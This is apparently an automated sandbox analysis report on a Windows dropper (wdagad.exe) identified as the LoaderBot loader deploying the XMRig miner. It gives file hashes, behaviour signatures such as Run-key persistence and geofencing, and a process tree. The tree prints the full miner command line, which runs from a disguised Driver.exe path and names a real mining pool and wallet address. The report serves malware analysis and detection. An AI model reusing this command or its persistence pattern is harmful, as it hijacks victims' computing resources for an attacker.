Analysis

  • max time kernel
    53s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-06-2023 12:05

General

  • Target

    wdagad.exe

  • Size

    2.1MB

  • MD5

    79931719ae9c21e1d8c5f1a419e85f71

  • SHA1

    d4c5bdc3d4a0f2e9ca5f6e9407b837dea75c8edd

  • SHA256

    f1e4bb232f6e5e0bcfb68627aea7b09b114e8f6d15a57a6e2e938db455d768bb

  • SHA512

    e71ee3950f025f4aa0727a52b4493d9c57671bd73b3ae9309983229071c1812d2b9801067a0e80fa04dddc5e13e3dfdb223f07c75ab7757f296f79db7bad986f

  • SSDEEP

    49152:ABRj0wlUtbZqxNwv6MitufUjzmTL7oG34n0FBhlT:at0wlUxgGqzULEGgi

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 4 IoCs
  • XMRig Miner payload 20 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\wdagad.exe
    "C:\Users\Admin\AppData\Local\Temp\wdagad.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
        work.exe -priverdD
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe"
          4⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:432
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3728
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 3728 -s 760
              6⤵
              • Program crash
              PID:4936
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1944
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1944 -s 864
              6⤵
              • Program crash
              PID:380
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1340
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1340 -s 644
              6⤵
              • Program crash
              PID:4864
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 2
            5⤵
              PID:4272
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 448 -p 3728 -ip 3728
      1⤵
        PID:1128
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 484 -p 1944 -ip 1944
        1⤵
          PID:404
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 444 -p 1340 -ip 1340
          1⤵
            PID:4144

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

            Filesize

            35B

            MD5

            ff59d999beb970447667695ce3273f75

            SHA1

            316fa09f467ba90ac34a054daf2e92e6e2854ff8

            SHA256

            065d2b17ad499587dc9de7ee9ecda4938b45da1df388bc72e6627dff220f64d2

            SHA512

            d5ac72cb065a3cd3cb118a69a2f356314eeed24dcb4880751e1a3683895e66cedc62607967e29f77a0c27adf1c9fe0efd86e804f693f0a63a5b51b0bf0056b5d

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe

            Filesize

            1.9MB

            MD5

            636373768d83d47a8469e19e7c364cba

            SHA1

            9a0af5c6a5af766c45d2d318727843f4909bf35f

            SHA256

            0af038a51b667ec95cac7ebd4a4c04b5011c451e211c34cb1c918891e955268a

            SHA512

            1f8d81b4463a0533d1e264cd946f5de8c7e5c584c9ac2ff63f23e3bd7c235abdc3f4a547059e71d362540bfbcedfb35bbcd558d83baa1daa675be059d34140f6

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe

            Filesize

            1.9MB

            MD5

            636373768d83d47a8469e19e7c364cba

            SHA1

            9a0af5c6a5af766c45d2d318727843f4909bf35f

            SHA256

            0af038a51b667ec95cac7ebd4a4c04b5011c451e211c34cb1c918891e955268a

            SHA512

            1f8d81b4463a0533d1e264cd946f5de8c7e5c584c9ac2ff63f23e3bd7c235abdc3f4a547059e71d362540bfbcedfb35bbcd558d83baa1daa675be059d34140f6

          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe

            Filesize

            4.0MB

            MD5

            33b4baef7b0a6ad57a7d30af324c4efd

            SHA1

            b169a559615a8448d7ed7da56d36a6850d2092e2

            SHA256

            3a48d4a5106dd9ba74e5fccfe58bf65581ee894d7f3ca1b15e6680fc912cd150

            SHA512

            739759d92a9e48e41b0366104ac9edf469cd8f323bbef0b507e3351cf081869ed069b88927fa70329d655012702385a74686df921a62dba95d7ec138a1e46690

          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe

            Filesize

            4.0MB

            MD5

            33b4baef7b0a6ad57a7d30af324c4efd

            SHA1

            b169a559615a8448d7ed7da56d36a6850d2092e2

            SHA256

            3a48d4a5106dd9ba74e5fccfe58bf65581ee894d7f3ca1b15e6680fc912cd150

            SHA512

            739759d92a9e48e41b0366104ac9edf469cd8f323bbef0b507e3351cf081869ed069b88927fa70329d655012702385a74686df921a62dba95d7ec138a1e46690

          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\fesa.exe

            Filesize

            4.0MB

            MD5

            33b4baef7b0a6ad57a7d30af324c4efd

            SHA1

            b169a559615a8448d7ed7da56d36a6850d2092e2

            SHA256

            3a48d4a5106dd9ba74e5fccfe58bf65581ee894d7f3ca1b15e6680fc912cd150

            SHA512

            739759d92a9e48e41b0366104ac9edf469cd8f323bbef0b507e3351cf081869ed069b88927fa70329d655012702385a74686df921a62dba95d7ec138a1e46690

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

            Filesize

            3.9MB

            MD5

            02569a7a91a71133d4a1023bf32aa6f4

            SHA1

            0f16bcb3f3f085d3d3be912195558e9f9680d574

            SHA256

            8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

            SHA512

            534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

          • memory/432-158-0x0000000005F60000-0x0000000005FC6000-memory.dmp

            Filesize

            408KB

          • memory/432-177-0x0000000005BD0000-0x0000000005BE0000-memory.dmp

            Filesize

            64KB

          • memory/432-170-0x0000000005BD0000-0x0000000005BE0000-memory.dmp

            Filesize

            64KB

          • memory/432-155-0x0000000000E80000-0x000000000127E000-memory.dmp

            Filesize

            4.0MB

          • memory/1340-197-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-199-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-204-0x0000000013150000-0x0000000013170000-memory.dmp

            Filesize

            128KB

          • memory/1340-203-0x0000000012E20000-0x0000000012E40000-memory.dmp

            Filesize

            128KB

          • memory/1340-202-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-201-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-200-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-198-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-196-0x0000000013150000-0x0000000013170000-memory.dmp

            Filesize

            128KB

          • memory/1340-195-0x0000000012E20000-0x0000000012E40000-memory.dmp

            Filesize

            128KB

          • memory/1340-194-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-188-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-189-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-190-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-191-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1340-192-0x0000000012E20000-0x0000000012E40000-memory.dmp

            Filesize

            128KB

          • memory/1340-193-0x0000000013150000-0x0000000013170000-memory.dmp

            Filesize

            128KB

          • memory/1944-179-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1944-180-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

            Filesize

            128KB

          • memory/1944-184-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

            Filesize

            128KB

          • memory/1944-178-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1944-183-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1944-176-0x0000000001FA0000-0x0000000001FC0000-memory.dmp

            Filesize

            128KB

          • memory/1944-185-0x0000000001FE0000-0x0000000002000000-memory.dmp

            Filesize

            128KB

          • memory/1944-181-0x0000000001FE0000-0x0000000002000000-memory.dmp

            Filesize

            128KB

          • memory/1944-182-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/1944-175-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/3728-171-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/3728-169-0x00000000004D0000-0x00000000004E4000-memory.dmp

            Filesize

            80KB

          • memory/4272-207-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4272-208-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB

          • memory/4272-209-0x0000000140000000-0x0000000140B75000-memory.dmp

            Filesize

            11.5MB